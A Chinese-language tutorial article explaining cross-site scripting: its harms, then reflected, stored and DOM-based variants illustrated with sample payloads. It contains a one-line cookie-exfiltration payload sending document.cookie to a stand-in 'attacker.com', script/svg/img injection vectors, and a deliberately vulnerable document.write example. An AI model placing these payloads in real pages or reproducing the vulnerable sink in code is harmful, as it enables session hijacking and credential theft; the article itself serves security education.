XSS漏洞攻防实战：原理、危害与防御方案

1. XSS漏洞的本质与危害解析

跨站脚本攻击（Cross-Site Scripting）长期位居OWASP Top 10威胁前列，其本质是攻击者通过构造恶意脚本注入到可信网站中，当其他用户访问受污染页面时，浏览器会执行这些非法脚本。不同于多数人认为的"仅能弹窗恶作剧"，现代XSS攻击已发展出完整的攻击链：

• 会话劫持：通过document.cookie窃取用户凭证
• 键盘记录：监听所有键盘输入获取敏感信息
• 网络钓鱼：伪造登录表单诱导用户输入凭据
• 水坑攻击：结合其他漏洞实施APT攻击

去年某电商平台就因存储型XSS导致百万级用户数据泄露，攻击者仅用一行代码就实现了持续性的数据渗出：

javascript复制new Image().src='http://attacker.com/steal?data='+encodeURIComponent(document.cookie)

2. XSS类型深度解剖与实例验证

2.1 反射型XSS的触发条件

典型场景是搜索框、错误消息页等即时响应的内容展示处。某次渗透测试中发现的目标案例：

code复制https://vuln-site.com/search?keyword=<script>alert(1)</script>

当服务端未过滤直接输出keyword参数时，就会触发弹窗。实际攻击中常结合短链接服务伪装：

code复制bit.ly/2XwYk9z => 实际指向含恶意脚本的URL

2.2 存储型XSS的持久化特性

常见于论坛评论、用户资料等持久化存储场景。某CMS系统的漏洞实例：

html复制<textarea>
  <svg/onload=alert(1)>
</textarea>

当管理员在后台查看用户提交内容时触发，形成"一次注入，长期危害"的攻击模式。

3.3 DOM型XSS的客户端特性

完全在客户端解析执行的漏洞，某金融平台案例：

javascript复制// 漏洞代码
document.write('<div>'+location.hash.slice(1)+'</div>');

// 攻击向量
http://bank.com#<img src=x onerror=stealCredentials()>